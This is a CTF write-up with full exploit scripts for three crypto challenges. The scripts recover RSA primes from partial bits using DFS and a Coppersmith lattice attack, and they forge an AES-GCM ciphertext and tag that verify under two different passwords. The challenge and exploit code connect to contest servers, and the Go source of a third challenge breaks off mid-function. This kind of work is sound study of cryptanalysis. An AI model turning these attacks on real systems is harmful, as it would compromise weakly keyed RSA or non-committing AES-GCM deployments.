Crypto

FactorGame

import sys
from random import SystemRandom
from Crypto.Util.number import getStrongPrime

def show(data):
    data = "".join(map(str, data))
    sys.stdout.write(data)
    sys.stdout.flush()

def input():
    return sys.stdin.readline().strip()

def main():
    show('Welcome to the FactorGame\n')
    show("The Game is simple factor N given N and bits of p, q\n")
    show("you have 5 lives for each game\n")
    show("win 8 out of 10 games to get the flag\n")
    show("good luck\n\n")

    known = 264
    success = 0

    for i in range(10):
        show(f"game{i + 1} start!\n")
        life = 5
        while life > 0:
            p = getStrongPrime(512)
            q = getStrongPrime(512)
            N = p * q

            cryptogen = SystemRandom()
            counter = 0

            while counter < 132 * 2 or counter > 137 * 2:
                counter = 0
                p_mask = 0
                q_mask = 0
                for _ in range(known):
                    if cryptogen.random() < 0.5:
                        p_mask |= 1
                        counter += 1
                    if cryptogen.random() < 0.5:
                        q_mask |= 1
                        counter += 1
                    p_mask <<= 1
                    q_mask <<= 1

            p_redacted = p & p_mask
            q_redacted = q & q_mask

            show(f'p : {hex(p_redacted)}\n')
            show(f'p_mask : {hex(p_mask)}\n')
            show(f'q : {hex(q_redacted)}\n')
            show(f'q_mask : {hex(q_mask)}\n')
            show(f'N : {hex(N)}\n')

            show('input p in hex format : ')
            inp = int(input(), 16)
            show('input q in hex format : ')
            inq = int(input(), 16)

            if inp == p and inq == q:
                success += 1
                show('success!\n')
                break
            else:
                show('wrong p, q\n')
                life -= 1
                show(f'{life} lives left\n')

    if success >= 8:
        show('master of factoring!!\n')
        flag = open('/flag', 'r').read()
        show(f'here is your flag : {flag}\n')
    else:
        show('too bad\n')
        show('mabye next time\n')
    exit()

if __name__ == "__main__":
    main()

 

Given two 512-bit prime numbers p and q, the product N = pq is provided, along with the 265th~ 273rd bits of both p and q.
The objective is to correctly determine p and q to win the game; failure results in the loss of a life, and a new paidr p, q will be provided.
If all lives are lost, the game is lost.

In each set of 10 games, 5 lives are provided, and you must win at least 8 out of 10 games to succeed.

idea

First, the candidate values for the lower 264bits of p and q can be computed using a DFS approach.

Given N is approximately 1023 to 1024 bits, the unknown bits of p amount to 248 bits.
Since 248=1024(0.5^2-1/128), a Coppersmith attack(β=1/2,ϵ=1/128) can be used to recover p.

exploit

from pwn import *
from subprocess import check_output
from re import findall
import sys
import time

sys.set_int_max_str_digits(310000)

def flatter(M):
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    env = {"FLATTER_LOG": "./log"}
    ret = check_output(["flatter"], input=z.encode(),env=env,executable="...") # executable must be path of flatter
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))

# r = process(["python", "FactorGame.py"])
r = remote("3.38.106.210", "8287")
connected_time = time.time()

known = 264
MAX = 12

# recover 264 lower bits
def solve1(N, p_redacted, p_mask, q_redacted, q_mask):
    p_arr = []
    q_arr = []

    for i in range(known):
        if p_mask & 1 == 1:
            p_arr.append(p_redacted & 1)
        else:
            p_arr.append(2)

        p_redacted >>= 1
        p_mask >>= 1

        if q_mask & 1 == 1:
            q_arr.append(q_redacted & 1)
        else:
            q_arr.append(2)

        q_redacted >>= 1
        q_mask >>= 1

    candidates = []
    states = [[(0, 0)]]
    p, q = 0, 0
    while len(states):
        if len(states[-1]) == 0:
            states.pop()
            continue

        p, q = states[-1].pop()
        if len(states) == known + 1:
            if (p * q) & ((1 << known) - 1) == N & ((1 << known) - 1):
                candidates.append((p, q))
            if len(candidates) > MAX:
                break  
            continue

        rnd = len(states) - 1
        t = []
        for s1 in range(2):
            for s2 in range(2):
                if p_arr[rnd] != 2 and p_arr[rnd] != s1:
                    continue
                if q_arr[rnd] != 2 and q_arr[rnd] != s2:
                    continue

                if (p + (s1 << rnd)) * (q + (s2 << rnd)) % (1 << (rnd + 1)) == N % (
                    1 << (rnd + 1)
                ):
                    p += s1 << rnd
                    q += s2 << rnd
                    t.append((p, q))
                    p -= s1 << rnd
                    q -= s2 << rnd
        states.append(t)

    return candidates

# https://github.com/mimoo/RSA-and-LLL-attacks/blob/871f51d09df82f7eeaaf8b1fad11b44b2221b4c8/coppersmith.sage
debug = False

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)

def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
    """
    Coppersmith revisited by Howgrave-Graham

    finds a solution if:
    * b|modulus, b >= modulus^beta , 0 < beta <= 1
    * |x| < XX
    """
    #
    # init
    #
    dd = pol.degree()
    nn = dd * mm + tt

    #
    # checks
    #
    if not 0 < beta <= 1:
        raise ValueError("beta should belongs in (0, 1]")

    if not pol.is_monic():
        raise ArithmeticError("Polynomial must be monic.")

    #
    # calculate bounds and display them
    #
    """
    * we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n)

    * we know LLL will give us a short vector v such that:
    ||v|| <= 2^((n - 1)/4) * det(L)^(1/n)

    * we will use that vector as a coefficient vector for our g(x)

    * so we want to satisfy:
    2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)

    so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n)
    (it's important to use N because we might not know b)
    """
    if debug:
        # t optimized?
        print("\n# Optimized t?\n")
        print("we want X^(n-1) < N^(beta*m) so that each vector is helpful")
        cond1 = RR(XX^(nn-1))
        print("* X^(n-1) = ", cond1)
        cond2 = pow(modulus, beta*mm)
        print("* N^(beta*m) = ", cond2)
        print("* X^(n-1) < N^(beta*m) \n-> GOOD" if cond1 < cond2 else "* X^(n-1) >= N^(beta*m) \n-> NOT GOOD")

        # bound for X
        print("\n# X bound respected?\n")
        print("we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M")
        print("* X =", XX)
        cond2 = RR(modulus^(((2*beta*mm)/(nn-1)) - ((dd*mm*(mm+1))/(nn*(nn-1)))) / 2)
        print("* M =", cond2)
        print("* X <= M \n-> GOOD" if XX <= cond2 else "* X > M \n-> NOT GOOD")

        # solution possible?
        print("\n# Solutions possible?\n")
        detL = RR(modulus^(dd * mm * (mm + 1) / 2) * XX^(nn * (nn - 1) / 2))
        print("we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)")
        cond1 = RR(2^((nn - 1)/4) * detL^(1/nn))
        print("* 2^((n - 1)/4) * det(L)^(1/n) = ", cond1)
        cond2 = RR(modulus^(beta*mm) / sqrt(nn))
        print("* N^(beta*m) / sqrt(n) = ", cond2)
        print("* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) \n-> SOLUTION WILL BE FOUND" if cond1 < cond2 else "* 2^((n - 1)/4) * det(L)^(1/n) >= N^(beta*m) / sqroot(n) \n-> NO SOLUTIONS MIGHT BE FOUND (but we never know)")

        # warning about X
        print("\n# Note that no solutions will be found _for sure_ if you don't respect:\n* |root| < X \n* b >= modulus^beta\n")

    #
    # Coppersmith revisited algo for univariate
    #

    # change ring of pol and x
    polZ = pol.change_ring(ZZ)
    x = polZ.parent().gen()

    # compute polynomials
    gg = []
    for ii in range(mm):
        for jj in range(dd):
            gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
    for ii in range(tt):
        gg.append((x * XX)**ii * polZ(x * XX)**mm)

    # construct lattice B
    BB = Matrix(ZZ, nn)

    for ii in range(nn):
        for jj in range(ii+1):
            BB[ii, jj] = gg[ii][jj]

    # display basis matrix
    if debug:
        matrix_overview(BB, modulus^mm)

    # use flatter
    #BB = BB.LLL()
    BB = flatter(BB)

    # transform shortest vector in polynomial    
    new_pol = 0
    for ii in range(nn):
        new_pol += x**ii * BB[0, ii] / XX**ii

    # factor polynomial
    potential_roots = new_pol.roots()
    print("potential roots:", potential_roots)

    # test roots
    roots = []
    for root in potential_roots:
        if root[0].is_integer():
            result = polZ(ZZ(root[0]))
            #if gcd(modulus, result) >= modulus^beta:
            if gcd(modulus, result) > 1:
                roots.append(ZZ(root[0]))


    # 
    return roots

P.<x> = PolynomialRing(ZZ)

success_cnt = 0
fail_cnt = 0
for _ in range(10):
    print(time.time() - connected_time, success_cnt, _ - success_cnt)
    r.recvuntil(b'start!\n')
    if _ - success_cnt > 2:
        print("failed")
        r.close()
        exit(-1)
    if success_cnt == 8:
        for lifes in range(5):
            r.sendlineafter(b'format : ', b'0')
            r.sendlineafter(b'format : ', b'0')
        continue
    for lifes in range(5):
        r.recvuntil(b'p : ')
        p_redacted = int(r.recvline()[0:],16)
        p_mask = int(r.recvline()[9:],16)
        q_redacted = int(r.recvline()[4:],16)
        q_mask = int(r.recvline()[9:],16)
        N = int(r.recvline()[4:],16)

        print("start")
        candidates = solve1(N, p_redacted, p_mask, q_redacted, q_mask)
        print(len(candidates))


        ln = 2^known
        if len(candidates) > MAX:
            r.sendlineafter(b'format : ', b'0')
            r.sendlineafter(b'format : ', b'0')
            continue
        for cand in candidates:
            p, q = cand
            assert p < 2^known
            assert q < 2^known
            assert (p*q) & (2^known - 1) == N & (2^known - 1)

            X = Y = 2^(512+1-known)

            pol = 2^known * x + p
            pol *=ZZ(pow(list(pol)[-1],-1,N))
            pol %= N

            dd = pol.degree()

            # Tweak those
            beta = 0.5
            epsilon = 1/128
            mm = ceil(beta**2 / (dd * epsilon))     # optimized value
            tt = floor(dd * mm * ((1/beta) - 1))    # optimized value
            XX = ceil(N**((beta**2/dd) - epsilon))  # optimized value
            roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)
            if roots:
                break
        else:
            print("failed")
            continue
        root = roots[0]
        p = (root << known) + p
        q = N // p
        assert p * q == N
        r.sendlineafter(b' : ', hex(p).encode())
        r.sendlineafter(b' : ', hex(q).encode())
        print(r.recvline())
        success_cnt += 1
        break    



r.interactive()
r.close()

 

To avoid timeout, proceed with the recovery only when the number of candidates is below a certain threshold.

Cogechan_Dating_Game

client/client.py:

import Character
import credential
import messages

import pygame
from pygame.locals import QUIT
import random
import string
import sys
import socket
import time
import hashlib
import os
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES

EAT_COMMAND = 1
PWN_COMMAND = 2
SLEEP_COMMAND = 3
DATE_COMMAND = 4
SAVE_COMMAND = 5

SAVE_SUCCESS = 11
SAVE_FAIL = 12

DEBUG = True

def alert(s):
    if DEBUG:
        print(s)
    else:
        return

def get_random_str():
    return ''.join(random.sample(string.ascii_lowercase + string.ascii_uppercase + string.digits, k = 20)) + os.urandom(10).hex()

def get_credential():
    status, ID, PW, nickname = credential.load_credential()
    if status == credential.LOAD_SUCCESS:
        alert("[+] Load credential.. success")

    else:
        ID = get_random_str()
        PW = get_random_str()
        nickname = "You"
        status = credential.save_credential(ID, PW, nickname)
        if status == credential.SAVE_SUCCESS:
            alert("[+] Save a new credential.. success")
        else:
            alert("[-] Save a new credential.. failed")
            exit(-1)

    return ID, PW, nickname

def encrypt_data(ID, PW, character):
    id_hash = hashlib.sha256(ID.encode()).digest()
    pw_hash = hashlib.sha256(PW.encode()).digest()
    nonce = id_hash[:12]
    file_name = id_hash[16:24].hex()
    key = pw_hash[:16]
    cipher = AES.new(key, AES.MODE_GCM, nonce)

    file_data = b''
    file_data += len(character.nickname).to_bytes(2, 'little')
    file_data += character.nickname.encode()
    file_data += character.day.to_bytes(4, 'little')
    file_data += character.stamina.to_bytes(4, 'little')
    file_data += character.intelligence.to_bytes(4, 'little')
    file_data += character.friendship.to_bytes(4, 'little')

    file_data = pad(file_data, 16)
    file_data_enc, tag = cipher.encrypt_and_digest(file_data)
    return file_data_enc, tag

...

def GUI(ID, PW, character, sock, is_new_game):
    #### GUI INIT ####
    ...

    last_click = None
    while True:
        for event in pygame.event.get():
            if event.type == QUIT:
                pygame.quit()
                sock.close()
                exit()

            if event.type == pygame.MOUSEBUTTONUP:
                if last_click != None and (time.time() - last_click) < 0.4:
                    continue
                mouse = pygame.mouse.get_pos()
                ...
                # Game save
                elif 850 <= mouse[0] <= 850+170 and 70 <= mouse[1] <= 70+50:
                    sock.send(SAVE_COMMAND.to_bytes(1, 'little'))
                    file_data_enc, tag = encrypt_data(ID, PW, character)
                    sock.send(len(file_data_enc).to_bytes(2, 'little') + file_data_enc)
                    sock.send(tag)
                    status = int.from_bytes(sock.recv(1), 'little')
                    if status == 0:
                        put_script(font, screen, 'System', f'Server connection broken.. bye..', 1)
                        exit()
                    elif status == SAVE_SUCCESS:
                        put_script(font, screen, "System", "Save success")
                    else:
                        put_script(font, screen, "System", "Save failed")

                last_click = time.time()

            put_character_status(font, screen, character)

def main():
    if len(sys.argv) != 3:
        print(f"usage : {sys.argv[0]} ip port")
        return

    ip = sys.argv[1]
    port = int(sys.argv[2])

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((ip, port))
    except:
        alert("[-] failed to connect a server")
        return

    ID, PW, nickname = get_credential()
    sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
    sock.send(len(PW).to_bytes(2, 'little') + PW.encode())
    status = sock.recv(1)
    character = Character.Character()

    if status[0] == 1: # LOAD_SUCCESS
        nickname_len = int.from_bytes(sock.recv(2), 'little')
        character.nickname = sock.recv(nickname_len).decode()
        character.day = int.from_bytes(sock.recv(4), 'little')
        character.stamina = int.from_bytes(sock.recv(4), 'little')
        character.intelligence = int.from_bytes(sock.recv(4), 'little')
        character.friendship = int.from_bytes(sock.recv(4), 'little')

    else:
        sock.send(len(nickname).to_bytes(2, 'little') + nickname.encode())
        character.nickname = nickname
        character.stamina = 100

    GUI(ID, PW, character, sock, status[0] == 1)

if __name__ == "__main__":
    main()

 

server/server.py

#!/usr/bin/python3

import Character
import load_and_save

import base64
import sys
import socket
import os
import random

EAT_COMMAND = 1
PWN_COMMAND = 2
SLEEP_COMMAND = 3
DATE_COMMAND = 4
SAVE_COMMAND = 5

DEBUG = True

def read_flag():
    with open("flag", "r") as f:
        flag = f.read()
    return flag

def load(ID, PW):
    status, character_load = load_and_save.load_game(ID, PW)
    if status == load_and_save.LOAD_SUCCESS:
        character = character_load
        return status, character

    new_character = Character.Character()
    new_character.stamina = 100
    return status, new_character

def go(sock):
    sock.settimeout(60) # No response for 60s then connection will be closed.
    # trying to load a save file based on ID, PW first
    ID_len = int.from_bytes(sock.recv(2), 'little')
    ID = sock.recv(ID_len).decode()
    PW_len = int.from_bytes(sock.recv(2), 'little')
    PW = sock.recv(PW_len).decode()

    status, character = load(ID, PW)

    sock.send(status.to_bytes(1, 'little'))

    if status == load_and_save.LOAD_SUCCESS:
        sock.send(len(character.nickname).to_bytes(2, 'little') + character.nickname.encode())
        sock.send(character.day.to_bytes(4, 'little'))
        sock.send(character.stamina.to_bytes(4, 'little'))
        sock.send(character.intelligence.to_bytes(4, 'little'))
        sock.send(character.friendship.to_bytes(4, 'little'))

    if status != load_and_save.LOAD_SUCCESS:
        nickname_len = int.from_bytes(sock.recv(2), 'little')
        character.nickname = sock.recv(nickname_len).decode('utf-8', 'ignore')
        character.stamina = 100

    while True:
        com = int.from_bytes(sock.recv(1), 'little')

        ...

        elif com == SAVE_COMMAND:
            file_data_enc_len = int.from_bytes(sock.recv(2), 'little')
            file_data_enc = sock.recv(file_data_enc_len)
            tag = sock.recv(16)
            status = load_and_save.save_game(ID, PW, character, file_data_enc, tag)
            sock.send(status.to_bytes(1, 'little'))


def main():
    if len(sys.argv) != 3:
        print(f"usage : {sys.argv[0]} [host] [port]")
        return

    ip = sys.argv[1]
    port = int(sys.argv[2])
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.bind((ip, port))
    sock.listen(0x10)

    while True:
        client_sock, addr = sock.accept()
        if DEBUG:
            print(f"[+] new connection - {addr[0]}")
        pid = os.fork()
        if pid == 0:
            try:
                go(client_sock)
            except Exception as e:
                if DEBUG:
                    print(e, '-', addr[0])
                client_sock.close()
            exit()
        else:
            client_sock.close()

if __name__ == "__main__":
    main()

 

server/load_and_save.py

import json
import hashlib
import json
import Character
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

LOAD_SUCCESS = 1
LOAD_FAIL = 2

SAVE_SUCCESS = 11
SAVE_FAIL = 12

def decrypt_and_parse_save_data(key, nonce, save_data, tag):
    cipher = AES.new(key, AES.MODE_GCM, nonce)
    file_data = unpad(cipher.decrypt_and_verify(save_data, tag), 16)
    idx = 0
    nickname_len = int.from_bytes(file_data[idx:idx+2], 'little')
    idx += 2
    nickname = file_data[idx:idx+nickname_len].decode('utf-8', 'ignore')
    idx += nickname_len
    day = int.from_bytes(file_data[idx:idx+4], 'little')
    idx += 4
    stamina = int.from_bytes(file_data[idx:idx+4], 'little')
    idx += 4
    intelligence = int.from_bytes(file_data[idx:idx+4], 'little')
    idx += 4        
    friendship = int.from_bytes(file_data[idx:idx+2], 'little')
    character = Character.Character(nickname, day, stamina, intelligence, friendship)
    return character

def id_pw_validity_check(ID, PW):
    if len(ID) < 20 or len(PW) < 20:
        return False
    if len(set(ID)) < 20 or len(set(PW)) < 20:
        return False
    if ID == PW:
        return False
    return True

def load_game(ID, PW):
    if not id_pw_validity_check(ID, PW):
        return LOAD_FAIL, None

    id_hash = hashlib.sha256(ID.encode()).digest()
    pw_hash = hashlib.sha256(PW.encode()).digest()
    nonce = id_hash[:12]
    file_name = id_hash[16:24].hex()
    key = pw_hash[:16]

    # read save file
    try:
        with open(f'save/{file_name}', 'rb') as f:
            raw_data = f.read()
            file_data_enc = raw_data[:-16]
            tag = raw_data[-16:]
    except Exception as e:
        return LOAD_FAIL, None

    # parse it!
    try:
        character = decrypt_and_parse_save_data(key, nonce, file_data_enc, tag)
    except Exception as e: # error during decryption
        print("LOAD!!", e)
        return LOAD_FAIL, None

    return LOAD_SUCCESS, character

def save_game(ID, PW, character, save_data, tag):
    if not id_pw_validity_check(ID, PW):
        return SAVE_FAIL

    id_hash = hashlib.sha256(ID.encode()).digest()
    pw_hash = hashlib.sha256(PW.encode()).digest()
    nonce = id_hash[:12]
    file_name = id_hash[16:24].hex()
    key = pw_hash[:16]

    try:
        character_parse = decrypt_and_parse_save_data(key, nonce, save_data, tag)
        if character.day != character_parse.day or \
           character.stamina != character_parse.stamina or \
           character.intelligence != character_parse.intelligence or \
           character.friendship != character_parse.friendship:

            return SAVE_FAIL

        if character.friendship >= 20: # Please do not save almost-cleared one
            return SAVE_FAIL


    except Exception as e: # error during decryption
        print("SAVE!!", e)
        return SAVE_FAIL

    try:
        with open(f'save/{file_name}', 'wb') as f:
            f.write(save_data)
            f.write(tag)
    except:
        return SAVE_FAIL, None

    return SAVE_SUCCESS

 

When saving the current state, the server directly stores the encrypted save file sent by the client.

In this process, the filename and nonce are generated from the ID, and the key is derived from the password (PW). The file is then decrypted and verified using AES-GCM mode, with the tag being stored alongside the file.

When the player loads the game, the server decrypts and interprets the file using AES-GCM mode to load the game.

idea

The key idea is to decrypt the same save file with two different keys so that each decryption results in the desired interpretation. In this process, the filename, nonce, ciphertext, and tag all remain identical.

def decrypt_and_parse_save_data(key, nonce, save_data, tag):
    cipher = AES.new(key, AES.MODE_GCM, nonce)
    file_data = unpad(cipher.decrypt_and_verify(save_data, tag), 16)
    idx = 0
    nickname_len = int.from_bytes(file_data[idx:idx+2], 'little')
    idx += 2
    nickname = file_data[idx:idx+nickname_len].decode('utf-8', 'ignore')
    idx += nickname_len
    day = int.from_bytes(file_data[idx:idx+4], 'little')
    idx += 4
    stamina = int.from_bytes(file_data[idx:idx+4], 'little')
    idx += 4
    intelligence = int.from_bytes(file_data[idx:idx+4], 'little')
    idx += 4        
    friendship = int.from_bytes(file_data[idx:idx+2], 'little')
    character = Character.Character(nickname, day, stamina, intelligence, friendship)
    return character

 

The interpretation of the save file is done as follows. We ensure that the length of the nickname is 0xE with key1 and 0x1E with key2 so that the data is positioned in the 2nd block when decrypted with key1 and in the 3rd block with key2.

To achieve this, the first 2 bytes of the decrypted data should be 0E00 with key1 and 1E00 with key2. This means that the first 2 bytes of the XORed value of the encrypted same counter1 block must be 1000.

Additionally, to pass the padding validation, the last byte of the 5th block should be 01, so the last byte of the encrypted same counter5 block must match.

In other words, we need to find a pair of passwords, PW1 and PW2, that generate key1 and key2, satisfying these 3-byte conditions.

After that, we'll craft the ciphertext for the 1st, 2nd, 3rd, and 5th blocks to contain the desired information and pass the padding check, and then construct the 4th block so that the tag calculated for both keys matches!

exploit

import Character
import credential
import messages
from Crypto.Util.number import bytes_to_long, long_to_bytes
#import pygame
#from pygame.locals import QUIT
import random
import string
import sys
import socket
import time
import hashlib
import os
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES

def xor(a, b):
    return bytes([x ^^ y for x, y in zip(a, b)])

BF.<X> = GF(2)[]
FF.<A> = GF(2 ^ 128, modulus=X ^ 128 + X ^ 7 + X ^ 2 + X + 1)
P.<x> = PolynomialRing(FF)

# int to element
def int2ele(integer):
    res = 0
    for i in range(128):
        # rightmost bit is x127
        res += (integer & 1) * (A ^ (127 - i))
        integer >>= 1
    return res

# bytes to element
def bytes2ele(b):
    return int2ele(bytes_to_long(b))

# element to int
def ele2int(element):
    integer = element.integer_representation()
    res = 0
    for i in range(128):
        res = (res << 1) + (integer & 1)
        integer >>= 1
    return res

# element to bytes
def ele2bytes(ele):
    return long_to_bytes(ele2int(ele))

# len(A)||len(C) 블럭을 FF의 원소로 리턴
def bitlen_block(auth_len, plain_len):
    auth_bitlen = auth_len * 8
    plain_bitlen = plain_len * 8
    return int2ele((auth_bitlen << 64) | plain_bitlen)

def get_enc(c):
    assert len(c) % 0x10 == 0
    c_bitlen_block = bitlen_block(0, len(c))
    c = [bytes2ele(c[i : i + 16]) for i in range(0, len(c), 16)]
    return c, c_bitlen_block

def get_random_str():
    return ''.join(random.sample(string.ascii_lowercase + string.ascii_uppercase + string.digits, k = 20)) + os.urandom(10).hex()
ID = "VtzP34rpvMCKZRs2aQoWd1cba94d60b669aa3ecf" #get_random_str()
id_hash = hashlib.sha256(ID.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()

PW1 = "fVqKAnCerU0zJ9g8u4Iwaf234a6ed4a92904d910" #get_random_str()
pw_hash1 = hashlib.sha256(PW1.encode()).digest()
key1 = pw_hash1[:16]
cipher1 = AES.new(key1, AES.MODE_GCM, nonce=nonce)
E1 = cipher1.encrypt(b'\x00' * 0x50)
nick1 = xor(E1[:2], b'\x0e\x00') + E1[-1:]
while True:
    PW2 = "i8WfMaIQn4gGdxAtrsoJb53b314ca108d841b464" #get_random_str()
    pw_hash2 = hashlib.sha256(PW2.encode()).digest()
    key2 = pw_hash2[:16]
    cipher2 = AES.new(key2, AES.MODE_GCM, nonce=nonce)
    E2 = cipher2.encrypt(b'\x00' * 0x50)
    nick2 = xor(E2[:2], b'\x1e\x00') + E2[-1:]
    if nick1 == nick2:
        break

payload = b'\x0e\x00' + b'a' * 0xe

payload += int(0).to_bytes(4, 'little')
payload += int(100).to_bytes(4, 'little')
payload += int(0).to_bytes(4, 'little')
payload += int(0).to_bytes(4, 'little')

payload += int(0).to_bytes(4, 'little')
payload += int(100).to_bytes(4, 'little')
payload += int(0xFFFFFFFF).to_bytes(4, 'little')
payload += int(33).to_bytes(4, 'little')

payload = xor(payload, E1[:0x20] + E2[0x20:0x30])
assert xor(payload[:2], E1[:2]) == b'\x0e\x00'
assert xor(payload[:2], E2[:2]) == b'\x1e\x00'

cipher01 = AES.new(key1, AES.MODE_ECB)
H1 = bytes2ele(cipher01.encrypt(b'\x00' * 0x10))
E_k1 = bytes2ele(cipher01.encrypt(nonce + b'\x00\x00\x00\x01'))

cipher02 = AES.new(key2, AES.MODE_ECB)
H2 = bytes2ele(cipher02.encrypt(b'\x00' * 0x10))
E_k2 = bytes2ele(cipher02.encrypt(nonce + b'\x00\x00\x00\x01'))

payload += b'\x00' * 0x10
payload += xor(b'\x01' * 0x10, E1[-0x10:]) 

payload_ele, bitlenblock = get_enc(payload)
assert payload_ele[3] == 0

tag1 = E_k1 + bitlenblock * H1
for i in range(5):
    tag1 += payload_ele[4 - i] * H1 ^ (i + 2)

tag2 = E_k2 + bitlenblock * H2
for i in range(5):
    tag2 += payload_ele[4 - i] * H2 ^ (i + 2)

last_block = (tag1 + tag2) / (H1 ^ 3 + H2 ^ 3)
tag1 += last_block * H1 ^ 3
tag2 += last_block * H2 ^ 3
assert tag1 == tag2

tag = ele2bytes(tag1)
payload = payload[:0x30] + ele2bytes(last_block) + payload[-0x10:]

cipher1 = AES.new(key1, AES.MODE_GCM, nonce=nonce)
print(cipher1.decrypt_and_verify(payload, tag))
cipher2 = AES.new(key2, AES.MODE_GCM, nonce=nonce)
print(cipher2.decrypt_and_verify(payload, tag))

import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("3.35.166.110", int(3434)))

# only once
"""
# login1
sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
sock.send(len(PW1).to_bytes(2, 'little') + PW1.encode())
status = sock.recv(1)
assert status[0] == 2
sock.send(b'\x0e\x00' + b'a' * 0xe)

# save1
sock.send(b'\x05')
sock.send(len(payload).to_bytes(2, 'little') + payload)
sock.send(tag)
status = int.from_bytes(sock.recv(1), 'little')
"""

# login2
sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
sock.send(len(PW2).to_bytes(2, 'little') + PW2.encode())
status = int.from_bytes(sock.recv(1), 'little')
assert status == 1

ret = sock.recv(0x100)
print(ret)

# pwn2
sock.send(b'\x02')
status = int.from_bytes(sock.recv(1), 'little')
print(status)

# date2
sock.send(b'\x04')
status = int.from_bytes(sock.recv(1), 'little')
print(status)
ret = sock.recv(0x100)
print(ret)

 

To obtain the flag, you need to go on a date when friendship is at 33 and intelligence is at 33 bits.
The maximum value of intelligence that can be initialized through loading is 0xFFFFFFFF. 
Therefore, you should first initialize it to this value, and then increase it to 33 bits through exploitation.

Baby Login

package main

import (
    "bufio"
    "crypto/aes"
    "crypto/ecdsa"
    "crypto/elliptic"
    "crypto/hmac"
    "crypto/rand"
    "crypto/sha256"
    "crypto/subtle"
    "encoding/base64"
    "encoding/json"
    "fmt"
    "io/ioutil"
    "math/big"
    "os"
    "os/signal"
    "strings"
    "syscall"
    "time"

    "github.com/google/uuid"
)

type HTTPRequest struct {
    Method   string `json:"method"`
    Uid      string `json:"uid"`
    Password string `json:"password"`
    Session  string `json:"session"`
    Secret   string `json:"secret"`
    Path     string `json:"path"`
}
type User struct {
    userName string
    userRole string
}

var SessionManager map[string]User
var SERVER_SECRET_KEY []byte

func pad(s []byte, length int) []byte {
    for len(s)%length != 0 || len(s) < length {
        s = append(s, byte('\x00'))
    }
    return s
}

func unpad(s []byte) []byte {
    for s[len(s)-1] == byte('\x00') {
        s = s[:len(s)-1]
    }
    return s
}

func KDF(Gx, Gy *big.Int, serverPriv []byte) ([]byte, []byte) {
    _m, _ := elliptic.P256().ScalarMult(Gx, Gy, serverPriv)
    key := pad(_m.Bytes(), 32)
    return key[:16], key[16:32]
}

func passwordGen(uid, role string) []byte {
    curve := elliptic.P256()
    R, _ := ecdsa.GenerateKey(curve, rand.Reader)
    Gx, Gy := R.PublicKey.X, R.PublicKey.Y

    key1, key2 := KDF(Gx, Gy, SERVER_SECRET_KEY)

    cipher, _ := aes.NewCipher(key1)
    ct := make([]byte, 16)

    cipher.Encrypt(ct, pad([]byte(uid+"_GUEST"), 16))

    out := append(Gx.Bytes(), Gy.Bytes()...)
    out = append(out, ct...)
    hmac := hmac.New(sha256.New, key2)
    hmac.Write(out)
    tag := hmac.Sum(nil)

    out = append(out, tag...)
    return out
}

func indexHandler(r HTTPRequest) {
    if r.Method == "GET" {
        u := SessionManager[r.Session]
        if u.userName == "" {
            fmt.Println("Register first and login to access the website!")
            return
        } else {
            fmt.Println("Hi " + u.userName + "! You are logged in as " + u.userRole)
        }
        return
    } else {
        fmt.Println("Method Not Allowed")
        return
    }
}

func registerHandler(r HTTPRequest) {
    if r.Method == "GET" {
        fmt.Println("You can register with your username!")
        return
    } else if r.Method == "POST" {
        uid := r.Uid
        if uid == "" {
            fmt.Println("Bad Request")
            return
        } else if uid == "ADMIN" {
            fmt.Println("Nope! You can't register as ADMIN!")
            return
        }
        password := passwordGen(uid, "GUEST")
        fmt.Println("Here is your password token : " + base64.StdEncoding.EncodeToString(password))
        return
    } else {
        fmt.Println("Method Not Allowed")
        return
    }
}

func loginHandler(r HTTPRequest) {
    if r.Method == "GET" {
        fmt.Println("You can login with your username and password token!")
        return
    } else if r.Method == "POST" {
        uname := SessionManager[r.Session].userName
        if uname != "" {
            fmt.Println("You are already logged in as " + uname)
            return
        }
        uid := r.Uid
        password := r.Password
        if uid == "" || password == "" {
            fmt.Println("Bad Request")
            return
        }

        pw, err := base64.StdEncoding.DecodeString(password)
        if err != nil {
            fmt.Println("Bad Request")
            return
        }

        length := len(pw)
        if length < 112 || length%16 != 0 {
            fmt.Println("Bad Request")
            return
        }

        Gx := new(big.Int).SetBytes(pw[:32])
        Gy := new(big.Int).SetBytes(pw[32:64])
        ct, hmac_in := pw[64:length-32], pw[length-32:]

        key1, key2 := KDF(Gx, Gy, SERVER_SECRET_KEY)
        hmac := hmac.New(sha256.New, key2)
        hmac.Write(pw[:length-32])
        tag := hmac.Sum(nil)

        if subtle.ConstantTimeCompare(tag, hmac_in) != 1 {
            fmt.Println("Unauthorized")
            return
        }

        cipher, _ := aes.NewCipher(key1)
        pt := make([]byte, len(ct))
        cipher.Decrypt(pt, ct)
        tmp := strings.Split(string(unpad(pt)), "_")
        if len(tmp) < 2 {
            fmt.Println("Unauthorized")
            return
        }
        userId, userRole := tmp[0], tmp[1]

        if userId != uid {
